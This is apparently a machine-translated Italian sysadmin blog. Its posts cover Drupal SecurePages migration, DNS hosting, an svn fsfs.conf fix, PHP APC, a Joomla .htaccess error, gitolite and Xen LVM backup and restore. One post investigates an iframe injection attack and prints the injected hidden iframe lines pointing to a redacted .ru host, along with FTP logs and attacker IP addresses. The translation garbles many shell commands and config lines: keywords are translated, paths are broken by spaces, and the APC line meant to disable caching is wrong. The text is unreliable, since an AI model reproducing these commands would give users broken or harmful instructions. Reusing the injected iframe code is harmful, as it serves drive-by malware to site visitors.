martedì 24 marzo 2015

Problema Moving Drupal sito con SecurePages Module Abilitato

Ho fatto una copia del sito drupal6 con SecurePages modulo installato e configurato. Questo modulo è configurato per reindirizzare tutte o alcune pagine https - a seconda delle configurazioni. Per la nostra installazione di solito includiamo sezioni login e admin per reindirizzare a https.

Il problema è sul sito copiato che si trova su un nuovo dominio in quanto non siamo in grado di effettuare il login e accedere alla sezione admin perché reindirizzare indietro al / sito originale di origine. Quello che ci serve è o disabilitare il modulo securepages o aggiornare i domini. Per fare questo, è necessario accedere al database (es: phpmyadmin, etc), andare a variabili tavolo, e la ricerca di securepages configurazioni.

Se si desidera disattivare il cambio modulo:

1
s securepages_enable: 1: "1 ** **";
a

1
s securepages_enable: 1: "** 0 **";
Oppure, se si desidera aggiornare il cambio di dominio:

1
2
securepages_basepath s: 30: "http: //**www.domain.com**";
 securepages_basepath_ssl s: 31: "https: //**www.domain.com**";
a

1
2
securepages_basepath s: 30: "http: //**www.newdomain.com**";
 securepages_basepath_ssl s: 31: "https: //**www.newdomain.com**";
Dopo aver apportato le modifiche di cui sopra non dimenticare di eseguire il update.php ( http://www.newdomain.com/update.php )

Se si desidera disinstallare il modulo, provare a rimuovere la directory securepages ed eseguire update.php.

giovedì 5 marzo 2015

Managed DNS Servizi Showdown

Un tempo in cui ha più senso di business di esternalizzare DNS. Mentre si può utilizzare un registrar di domini per gestire e host DNS non sempre offrono migliori prestazioni o anche offrire SLA. Metteremo a confronto un paio di aziende che si specializzano in DNS solo hosting.

DynDNS

servizi completi offerti
senza tempi di fermo dall'inizio (2001)
DNS del cluster in tutto il mondo
multipiattaforma client di aggiornamento dinamico con eccellente documentazione
29,95 per zona all'anno
interfaccia web
SLA opzioni Offerings
Architettura basata Bind
EasyDNS

sconosciuto affidabilità
DNS del cluster in tutto il mondo
multipiattaforma client di aggiornamento dinamico
al prezzo di 19,99 dollari per zona all'anno
interfaccia web
nessuna offerta SLA
Architettura basata Bind
Nettica

sconosciuto affidabilità
DNS del cluster per lo più statunitense (1 posizione in UK)
al prezzo di $ 10 per zona all'anno
100 $ SLA offerta
nessun cliente aggiornamento linux, aggiornamenti ip dinamici tuttavia può essere fatto con l'arricciatura chiamata al loro sito web
interfaccia web
API di Windows solo di
ZoneEdit

Pioniere di DNS ospitato
Recente affidabilità Bad
Architettura basata Bind
DNS del cluster per lo più statunitense (1 posizione in Germania)
multipiattaforma client di aggiornamento dinamico
un'ampia gamma di clienti dinamiche aggiornamento (Java, Python, Perl, le chiamate dirette al loro sito web con wget), clienti ospitato su SourceForge documentazione limitata
ospitare 5 domini per libero, limitato a limite di query 200meg per dominio (circa 1 milione di query), altre opzioni di costo "crediti di zona @ $ 10,95 ciascuno" per servizi come domini aggiuntivi, bilanciamento del carico, il monitoraggio, query aggiuntive.
UltraDNS

Lista molto completa di offerte
15 nodi tutto il mondo su 5 continenti
Protezione contro DDOS DNS basato
API basata su XML cross platform
portale web
100% di uptime SLA
directory architettura basata, usando la tecnologia di replica di database Oracle. Non sulla base di BIND
$ 15 al mese per 1 dominio con 5 dischi e 5000 domande, i costi eccedenti sono $ 1 per 1.000 query e 0,50 centesimi per ogni ulteriore record.

lunedì 2 marzo 2015

Svnadmin: Impossibile aprire il file 'svn / db / fsfs.conf': Nessun file o directory


Dopo ho fatto un archivio di backup manuale del repo (un semplice tar.gz della cartella repo) ho eseguito il comando di aggiornamento sicuro che questo sta andando a risolvere il mio problema:

1
svnadmin aggiornare / svn / repo /
e dopo ha completato, ho verificato che svn stava ancora lavorando come previsto e controllato per il file fsfs.conf. Ma che è stato creato non ... Hmm ... Proviamo il comando copia a caldo comunque:

1
2
svnadmin hotcopy --clean-logs / svn / repo / / tmp / repo /
 svnadmin: directory No such file or: Impossibile aprire il file '/svn/repo/db/fsfs.conf'
esattamente lo stesso errore.

Cercando di capire ciò che il file contiene fsfs.conf Ho appena creato un nuovo repository per vedere se viene creato. In effetti il ​​mio v1.6.11 del svn creato il file di un nuovo repo, e dopo averlo copiato nella posizione del mio repository esistenti (come è stato fondamentalmente solo un file vuoto) il mio problema è stato risolto e il comando copia a caldo ha iniziato a lavorare. Ecco il contenuto del file come creato da mia versione svn, che ho copiato nella repo più vecchio per risolvere questo problema:

<Code> cat fsfs.conf
### Questo file controlla la configurazione del file system FSFS.

[memcached-server]
### Queste opzioni citarne server memcached utilizzati per memorizzare nella cache interna FSFS
### dati. Vedere http://www.danga.com/memcached/ per ulteriori informazioni su
### Memcached. Per utilizzare memcached con FSFS, eseguire uno o più memcached
### Server e specificare ognuno di loro in opzione in questo modo:
# First-server = 127.0.0.1:11211
# Remote-memcached = mymemcached.corp.example.com:11212
### Il nome dell'opzione viene ignorata; il valore è nella forma host: porta.
### Server memcached possono essere condivisi tra più repository;
### Tuttavia, se si fa questo, si deve * * garantire che i repository hanno
### UUID distinte e percorsi, o dati memorizzati nella cache da un altro repository
### Può essere utilizzato da un altro accidentalmente. Si noti inoltre che memcached ha
### Nessuna autenticazione per legge o scrive, quindi è necessario assicurarsi che la vostra
### server memcached sono accessibili solo dagli utenti fidati.

[cache]
### Quando si verifica un errore di cache-correlati, normalmente Subversion ignora
### E continua, la registrazione di un errore se il server è appropriato
### Configurato (e ignorando con file: // accesso). Per rendere
### Subversion mai ignorare gli errori della cache, togliere il commento di linea.
# Fail-stop = true

[Rep-sharing]
### Per risparmiare spazio, il filesystem può opzionalmente evitare di memorizzare
### Duplicare rappresentazioni. Questo ha un lieve costo in performace,
### Come il mantenimento di un database di rappresentazioni condivise può aumentare
### Commit volte. Il risparmio di spazio dipendono dalla dimensione della
### Repository, il numero di oggetti che contiene e la quantità di
### Doppioni fra loro, di solito una funzione della ramificazione e
### Processo di fusione.
###
### Il parametro seguente consente rep-sharing nel repository. Può
### Essere attivata e disattivata a piacimento, ma per i migliori risultati di spazio-risparmio
### Dovrebbero essere in grado costantemente per tutta la durata del deposito.
# Enable-rep-sharing = false </ code>
Speriamo che questo aiuterà gli altri di vedere lo stesso problema che stavo vivendo.

venerdì 20 febbraio 2015

Iframe iniezione Attacco Investigation

Tutta la vulnerabilità IFRAME nascosto è in corso da qualche tempo, solo alcuni dei nostri clienti sono stati effettuati da questo. La rete è ancora piena di questo problema e mentre alcuni dicono che l'iniezione sono risultati di insicurezze php, mysql iniezione o cross site scripting, mentre altri indicano keylogger e dirottati credenziali FTP. Nel nostro caso l'exploit non è stato a causa di una vulnerabilità di un'applicazione, ma piuttosto di Hijacked informazioni ftp login. Attacchi indovinare bruta della password vigore non sono stati eseguiti su tale conto, né qualsiasi altro account sullo stesso server. In questo particolare tipo di attacco, alla fine di index.php / index.html un'istruzione IFRAME è stato allegato modifica indesiderata tag pagina di chiusura.
iframe src = "http: //***.ru: 8080 / index.php" width = 111 height = 162 style = "visibi
 iframe src = "http: //***.ru: 8080 / index.php" width = 136 height = 162 style = "visibility: hidden" / iframe
 iframe src = "http: //***.ru: 8080 / index.php" width = 141 height = 156 style = "visibility: hidden" / iframe
Alcuni dei file index.php avevano più istruzioni IFRAME aggiunti alla fine. Conoscere il nome utente di account interessato e il nome del file in questione ho cercato in / var / log / messages per eventuali voci correlate e ha colpito jackpot:
agosto 01:27:59 web152 pure-ftpd: (?@94.218.69.243) [INFO] utente è loggato in
 27 agosto 01:28:00 web152 pure-ftpd: (user@94.218.69.243) [AVVISO] / home / utente // public_html / index.php scaricato (2311 bytes, 1001.70KB / sec)
 27 agosto 01:28:00 web152 pure-ftpd: (user@94.218.69.243) [INFO] Esci.
 27 Agosto 01:28: 04 web152 pure-ftpd: (?@78.92.144.185) [INFO] utente è loggato in
 27 agosto 01:28:05 web152 pure-ftpd: (user@78.92.144.185) [ATTENZIONE] / home / user // public_html /index.php caricati (2353 bytes, 10.42KB / sec)
 27 agosto 01:28:05 web152 pure-ftpd: (user@78.92.144.185) [INFO] Logout.
La cosa interessante da notare qui è che anche se il download / upload di index.php avviene all'interno di una seconda finestra 6, l'indirizzo IP di origine per il download e l'upload non sono gli stessi. Nei prossimi giorni lo stesso file viene scaricato e caricato, ma non dallo stesso insieme di indirizzi IP. Durante i pochi giorni che mi permetteva questo accada mentre stavo controllando tale attività e raccogliere gli indirizzi IP per vedere se emerge un modello:

83.82.57.39 GeoIP Edizione Nazionale: NL, Netherlands
 95.52.163.74 GeoIP Edizione Nazionale: RU, Federazione Russa
 189.122.164.40 GeoIP Edizione Nazionale: BR, Brazil
 69.159.47.21 GeoIP Edizione Nazionale: CA, Canada
 85.221.184.164 GeoIP Edizione Nazionale: PL, Polonia
 98.243.198.220 GeoIP Edizione Nazionale: US, Stati Uniti
 78.30.154.22 GeoIP Edizione Nazionale: RS, Serbia
 77.81.33.229 GeoIP Edizione Nazionale: RO, Romania
 83.6.73.91 GeoIP Edizione Nazionale: PL, Poland
 190.198.3.27 GeoIP Edizione Nazionale: VE , Venezuela
 75.208.130.92 GeoIP Edizione Nazionale: US, Stati Uniti
 68.84.202.157 GeoIP Edizione Nazionale: US, Stati Uniti
 75.80.81.104 GeoIP Edizione Nazionale: US, Stati Uniti
Vedendo che nessun modello chiaro è evidente qui e considerando che l'indirizzo IP è stato diverso per ogni connessione è la mia logica che il computer di questi indirizzi IP erano una parte di una botnet. La mia ipotesi è che uno sviluppatore aveva salvato la password di account ed è stato infettato da software dannoso che è stato in grado di raccogliere le credenziali FTP.

Cleanup incluso il ripristino dei file e la modifica di tutte le password conto / ftp / e-mail e database.

Posted by Max Veprinsky 21 settembre st 2009   Sicurezza , ospitando

 
«HowTo errori di visualizzazione PHP quando non si ha accesso a php.ini Errore Drupal Watchdog »
Commenti

giovedì 5 febbraio 2015

APC dovrebbe essere abilitata per impostazione predefinita

PHP è lento . Questo non dovrebbe essere una grande rivelazione per nessuno di noi, e questo non perché PHP è un linguaggio di programmazione male, o perché Python o Ruby sono migliori. Questo perché si tratta di un linguaggio interpretato . Ogni volta che si esegue uno script PHP che sta per fare la stessa cosa e interpretare il codice e quindi eseguire più e più volte. Questo è ovviamente lento e non si confronta con qualsiasi linguaggio compilato come C ++, ad esempio. Ma noi non vogliamo scrivere in C ++ per i nostri webapps, giusto? e vorremmo usare la semplicità PHP come molti altri prodotti open source e gli sviluppatori; cosa possiamo fare allora? Possiamo facilmente permettere a qualsiasi della cache disponibile codice operativo: APC , eAccelerator o xcache (io non sono a conoscenza di qualcosa di simile per Python o Ruby, ma se esiste probabilmente si dovrebbe usare anche). Una cache di codice operativo o PHP acceleratore , immagazzina la forma compilata degli script php di accelerare drasticamente il tempo di esecuzione. Molte persone hanno fatto questo lungo tempo come avevano bisogno di migliorare le prestazioni dei propri siti, e ottenere risultati fino a 20x velocità dal PHP pianura. Un intro molto semplice step-by-step su come è possibile installare APC si possono trovare su questo messaggio più vecchio .


Ora qui è la questione un mio caro amico mi ha chiesto qualche tempo fa: perché è APC non abilitati in modo predefinito? Perché le persone devono fare un passo in più per installare un modulo esterno per questo (che molti non lo fanno). E la mia risposta a quel tempo era che le cache codice operativo non sono perfetti, e, a seconda da come si scrive il codice che potrebbe causare problemi e farlo non funziona correttamente. Penso di essere stato molto felice con la mia risposta come me avrei sempre installare una cache codice operativo in qualsiasi sito ad alto traffico sono riuscito fin dal primo giorno (la maggior parte del tempo APC, ma anche eAccelerator) e molte volte anche in esecuzione il confronto tra loro per vedere se uno di loro è più veloce. Ancora ancora oggi, nella maggior parte dei progetti di performance abbiamo completato, abbiamo trovato le persone non lo fanno, e non abbiamo APC installato e attivato . Ci sono alcuni trucchi su come sintonizzare APC e migliorare ancora meglio le sue prestazioni, ma qui sto parlando solo di averlo installato. Questo è il motivo per cui penso che APC dovrebbe essere abilitata di default in tutto il mondo (non solo da siti "ad alto traffico"). Dovrebbe dare script PHP una spinta di prestazioni e se davvero hanno problemi con esso è possibile disattivarlo a livello vhost o directory molto semplice, basta con l'aggiunta in .htaccess: php_flag apc.cache_by_default On


Spero che sempre più persone lo farà in modo che possiamo concentrarci su più gravi problemi di prestazioni nelle nostre webapps PHP. Non vedo perché no, perché questo è molto semplice e ci sono un sacco di howto di disponibile. Ancora se hai bisogno di aiuto, e si desidera che noi facciamo per voi, vi preghiamo di contattarci e di farci accelerare il vostro sito.


Nota: se avete fatto questo molti anni fa e vuole somethign ancora più veloce per il vostro codice PHP si dovrebbe dare un'occhiata a HipHop il progetto da Facebook a compilare i vostri script php (in realtà si trasforma PHP codice sorgente in altamente ottimizzato C ++ e quindi utilizza g ++ per compilarlo in codice macchina) ed eseguire come eseguibili (ma questo sta per essere molto più difficile da realizzare, ma comunque un progetto molto interessante da tenere d'occhio).

lunedì 26 gennaio 2015

Errore Joomla Site: "Mark ('post-carico'): Null; / ** * Creare l'applicazione ..."

Mi è capitato di installare un sito Joomla da altri di hosting (file di Joomla zip e mysqldump), e dopo l'installazione sul nostro server ho ottenuto l'errore (in basso) - non esattamente un errore, ma un contenuto di file "index.php". Ho trovato alcune discussioni relative Joomla riguardo a questo problema, ma non c'è nessuna soluzione. marcatura ('post-carico'): nullo; / ** * Creare l'applicazione * * NOTA: * / $ mainframe = & JFactory :: getApplication ('sito'); / ** * Inizializzazione DOMANDA * * NOTA: impostare il * / // ......  JDEBUG? $ _PROFILER-> Marchio ('AfterRender'): nullo; $ Mainframe> triggerEvent ('onAfterRender'); / ** * RESTITUIRE LA RISPOSTA * / echo JResponse :: toString ($ mainframe> getCfg ('gzip'));

Ho trovato del problema sul file ".htaccess", come si contiene una linea "AddType x-MAPP-php5 .php". Ho commentato la linea, perché penso che è legato alla analisi dei file PHP e questo risolto il mio problema. Ho cercato per questo codice ed è legato ai server con PHP 4 e 5 installati - dettagli di seguito da 1and1 di hosting .

Per impostazione predefinita, Apache utilizza PHP 4 per l'estensione .php. Se non si desidera rinominare tutti gli script per .php5 è possibile effettuare le seguenti operazioni: Creare un file .htaccess e inserire la seguente riga AddType x-MAPP-php5 .php a esso.

Questo dirà Apache di utilizzare PHP 5 invece di PHP 4 per l'estensione .php nella directory del .htaccess è posto e tutte le sottodirectory sotto di essa.

È possibile utilizzare AddHandler x-MAPP-PHP5 .php come alternativa o in sostituzione di AddType x-MAPP-php5 .php

giovedì 22 gennaio 2015

Ascoltare musica in streaming su Ubuntu/Linux gratuitamente

Molti di voi conosceranno sicuramente Spotify, una nota applicazione che consente di ascoltare “gratuitamente” musica in streaming, da poco anche su ubuntu senza l’ausilio di wine;

Perchè l’ho scritto in corsivo e virgolettato che non si spende nulla?? perchè signore e signori la fregatura è dietro l’angolo!

Non viene riportato dal sito a meno che non lo cerchiate minuziosamente voi stessi nelle F.A.Q., ma in realtà lo streaming gratuito e illimitato dura solo 6 mesi, trascorsi i quali (a meno che non siate disposti a pagare per l’upgrade dell’account) la quantità di musica in streaming sarà ridotta a 2.5 h a settimana che a conti fatti sarebbe circa 20 minuti al giorno, cioè nemmeno un disco!

Senza contare che tra una traccia e l’altra del vostro disco preferito potreste dovervi sorbire la pubblicità, non so voi ma questo per me è intollerabile!

Quindi il mio consiglio è di provare Grooveshark: il servizio è del tutto simile a spotify, ma con alcuni vantaggi come:

Installando ad-block non incapperete in alcun tipo di pubblicità;
Streaming di musica praticamente illimitato e gratuito (stavolta davvero, lol);
Nessun account da registrare sul sito a meno che non lo desideriate;
Non richiede l’installazione di nulla, se non lo vogliate;
Basta quindi andare sul sito, digitare la canzone, l’album o il gruppo da ricercare ed ascoltare la vostra musica! :D

Va segnalata inoltre la massiccia presenza di plugin che interagiscono con il sito, per citarne alcuni troviamo: KeySharky, che consente di controllare il riproduttore multimediale con delle shortcut da tastiera, oppure GrooveShark Control per controllare la musica in riproduzione da qualsiaisi pagina del browser senza tornare su grooveshark.

N.D.A. i plugin sono disponibili anche per mozilla firefox

Come già detto, non è necessario alcun account, ma per vostra comodità potete registravi (anche usando le credenziali di google o facebook) per creare la vostra raccolta, organizzare delle playlist, seguire i vostri artisti preferiti o i vostri amici, condividere la propria musica sempre senza spendere alcuna cifra.

Va inoltre riportato che il sito offre anche degli abbonamenti a pagamento per le diverse esigenze, nonostante ciò è molto discreto (a differenza di molti altri servizi gratuiti) e non vi fa pressioni di sorta.

Se cercate un applicazione per il desktop che interagisca con il sito, esiste e si chiama Groove Warlus, per linux, windows e mac;

È possibile anche usufruire del servizio tramite smartphone (via applicazione dedicata o via browser) che è una comodità non indifferente!

L’unica pecca che ho riscontrato è che, essendo spesso la musica caricata da utenti piuttosto che dall’artista stesso, può capitare di trovare brani in bassa qualità, oppure che non riusciate a trovare l’ultima novità o qualche band di nicchia; Avete però anche voi la possibilità di caricare i brani che mancano o di creare un profilo per la vostra band!

Riassumendo, se cercate qualcosa che offra la possibilità di ascoltare musica gratuitamente e in modo illimitato senza aspettare ore di download o ricorrere a youtube, che non abbia pretese di farvi spendere qualcosa per evitare gravi limitazioni nell’uso del servizio, pubblicizzare e far conoscere il vostro gruppo o condividere la musica tra i contatti facebook, GrooveShark fa al caso vostro!

Cheers!

giovedì 15 gennaio 2015

Gitolite: Aggiungi, Modifica o Elimina Nome Git repository

Non riesco a trovare i comandi in gitolite per gestire repository o nome del progetto, ecco quello che ho ricevuto da altre fonti.

Aggiungere o creare repository

Aggiungere una voce per il nuovo progetto o repository nella configurazione gitolite ( conf / gitolite.conf )
Commit e spingere le modifiche. questo creerà e inizializzare il nuovo repo.
Rinominare un repository

Modificare il nome del repo nella configurazione gitolite ( conf / gitolite.conf )
Spostare o rinominare la directory attuale (a seconda di dove lo si installa, es: / home / git / repository ) per abbinare i vostri cambiamenti di config gitolite.
Commit e spingere le modifiche.
Nota : Ovviamente, questo cambia l'url remota del pronti contro termine, quindi non dimenticate di cambiare il vostro git config URL remoto nei vostri cloni del progetto.

Eliminare un repository :

Aprire il config gitolite e rimuovere il progetto da lì. impegnare e spingere le modifiche.
Quindi eliminare la sua directory git (ex: /home/git/repositories/projectname.git)
È inoltre possibile rimuovere gli utenti / tasti che vengono utilizzati non sono più

venerdì 9 gennaio 2015

Debian 6: Xen backup con LVM e rsnapshot

Si tratta di un progetto del mio processo di installazione che si basa principalmente da questo blog:  backup efficienti Xen con LVM e rsnapshot .

La nostra impostazione è su Debian Server 6 con disco da 2 TB in esecuzione 10 VPSes. Abbiamo seguito la guida di cui sopra con le note su errori che abbiamo incontrato, per lo più legati rsnapshot. Stiamo mantenendo backup giornaliero localmente, su una partizione separata, e li copia al nostro server remoto ogni settimana.

Il Setup (per lo più di default): percorso vg è / dev nome vg è vg0

Setup Process:

Crea partizione logica per archiviare i backup in locale. La dimensione è 100GB e la chiamò i backup. Formato con ext3 e montato a / backup.

4
lvcreate -L 100G -n i backup vg0
 mkfs -t ext3 -v / dev / vg0 / backup
 mkdir / backup
 mount / dev / vg0 / backup / backup
Installare e configurare rsnapshot. Assicurarsi di utilizzare TAB correttamente come si lamenterà o dare un errore se non lo fai.

2
aptitude install rsnapshot
 vi /etc/rsnapshot.conf
Ecco le mie modifiche e / o integrazioni rsnapshot configurazione:

10 
11 
12 
13 
14
snapshot_root / backup / #questo è una partizione montata
 intervallo giornaliero 1 # ho rimosso tutti gli altri orari e una copia giornaliera soltanto
 linux_lvm_cmd_lvcreate / sbin / lvcreate
 linux_lvm_cmd_lvremove / sbin / lvremove
 linux_lvm_cmd_mount / bin / mount
 linux_lvm_cmd_umount / bin / umount
 linux_lvm_snapshotsize 2G
 linux_lvm_snapshotname rsnapshot
 linux_lvm_vgpath / dev
 linux_lvm_mountpath / mnt / lvm-snapshot
 # Backup Compiti tutte le macchine virtuali
 di backup LVM: // vg0 / vm_1_name_disk / vm_1_name_disk /
 backup di LVM: // vg0 / vm_2_name_disk / vm_2_name_disk /
 lvm backup: // vg0 / vm_10_name_disk / vm_10_name_disk /
Pianificare attività di backup giornaliero in crontab (/ etc / crontab). Si noti che rsnapshot è in / usr / bin / rsnapshot su Debian.

1
01 01 * * * root / usr / bin / rsnapshot quotidiano
È quindi possibile eseguire l'attività rsnapshot per assicurarsi che tutto funzioni, dal file di configurazione per la creazione e il montaggio snapshot LVM. Tempo di esecuzione dipende dal numero di macchine virtuali e le loro dimensioni. Puoi corse singolarmente, se necessario.

1
/ Usr / bin / rsnapshot quotidiano
Poi ho un altro compito configurazione di backup dal server di backup remoto per prendere il nostro backup locali a / backup. È inoltre possibile configurare rsnapshot di eseguire il backup istantanee direttamente alla tua posizione di backup remoto (usiang rsync / ssh), dipende da come si desidera il backup dei dati.

lunedì 5 gennaio 2015

Ripristina Xen VM Da LVM Snapshot Backup

Qual è l'uso di backup, se non è possibile ripristinare da loro? ;)

Nel post precedente su "Backup Xen con LVM e rsnapshot" abbiamo lavorato sulla creazione di copie di backup dei Xen (guest / dominio) VM con LVM, e qui vedremo il processo di ripristino da questi backup.

Che cosa è coperto qui:

Ripristino di file o directory specifici fare di tipo "bare-metal" di ripristino. Noi ricreare il VM dai nostri backup rsnapshot. Processo di ripristino:

1.) Ripristino file o directory specifici solo

Mentre questo scenario di ripristino è un gioco da ragazzi, ancora io voglio solo parlare del fatto che anche qui. Fondamentalmente questo è il solito copia dei file (via cp, scp, ftp, rsync, ecc) dalla sorgente o server di backup al server di destinazione.

2.) "Bare-metal" ripristino (immagine completa vm crea dal backup).

Panoramica di "bare-metal" processo di ripristino:

creare, formattare e montare volumi logici per usare il vm che si desidera ripristinare o ricreare, sulla base delle sue proprietà del disco VM originale come le dimensioni, nomi, ecc copiare tutti i file dal percorso di backup sul disco LVM appena montato

regolare necessarie configurazioni Xen VM (se del caso, come nuovo indirizzo ip) e avviare / creare la VM con il volume con contenuti restaurati o file, e il gioco è fatto. Nell'esempio di ripristino di seguito mi riferisco al vm come "domain.com" e noi ripristinare i backup di un volume diverso con la stessa configurazione di quello originale. Poi inizieremo la vm, domain.com, utilizzando il volume ripristinato.

Ecco la configurazione VM esempio che useremo. orignal dischi VM: /dev/vg0/domain.com-disk (10GB) e /dev/vg0/domain.com-swap (512MB) di backup trova in "/ backup" di macchina host configurazioni dischi da utilizzare sul vm restaurato: / dev / vg0 / domain-restore.com-disk (10 GB) e /dev/vg0/domain-restore.com-swap (512) Per avviare determiniamo la macchina virtuale per ripristinare così come il backup da utilizzare per il ripristino.

Poi creeremo volumi logici con gli stessi valori dei volumi in esecuzione di cui al nostro /etc/xen/domain.com.cfg. Si prega di notare che non c'è bisogno di ri-creare il disco di swap, se si vuole, ma in questo esempio dobbiamo solo creare un altro.
lvcreate -L 10G -n dominio restore.com-disk vg0
 lvcreate -L 512M -n dominio restore.com-swap vg0
Formattare la "-Errore" e montarlo da qualche parte sulla macchina host (es: / backup-restore) e copiare i file di backup in esso, e smontarlo dopo la copia.
mkfs -t ext3 -v /dev/vg0/domain-restore.com-disk
 mkdir / backup-restore
 mount /dev/vg0/domain-restore.com-disk / backup-restore
 cp -rpfv /backup/domain.com- disk / * / backup-restore /
 umount /dev/vg0/domain-restore.com-disk
 rmdir / backup-restore
Ora abbiamo il volume che contiene i file ripristinati in / dev / vg0 / domain-restauro-disco e pronto per l'uso da parte nostra domain.com VM.
Facciamo fermo macchina "domain.com" e modificare la configurazione del disco per utilizzare il nuovo volume / restaurato.
xm shutdown domain.com
Poi ci aggiorniamo il nostro vm Xen config di lasciare il nostro "domain.com" vm utilizzare il "dominio-restore-disk". Modifichiamo /etc/xen/original.domain.com.cfg e cambiare i dischi per puntare a nuovi volumi con contenuti restaurati.
Phy: /dev/vg0/domain.com-disk,xvda2,w',
 'phy: /dev/vg0/domain.com-swap,xvda1,w',
A:
'Phy: /dev/vg0/domain-restore.com-disk,xvda2,w',
 'phy: /dev/vg0/domain-restore.com-swap,xvda1,w',
Inizia la nostra macchina domain.com sui suoi contenuti restaurati.
xm create /etc/xen/domain.com.cfg
Questo è tutto - si dovrebbe avere il vostro VM in esecuzione dal suo stato ripristinato! Se tutto è ok non è possibile configurare rapidamente il vm di utilizzare i volumi originali e riavviarlo.
Se non si vuole toccare la macchina dal vivo, si può semplicemente creare un altro vm con la stessa configurazione come vivo uno, creare nuovi volumi e ripristinare i backup a quella vm.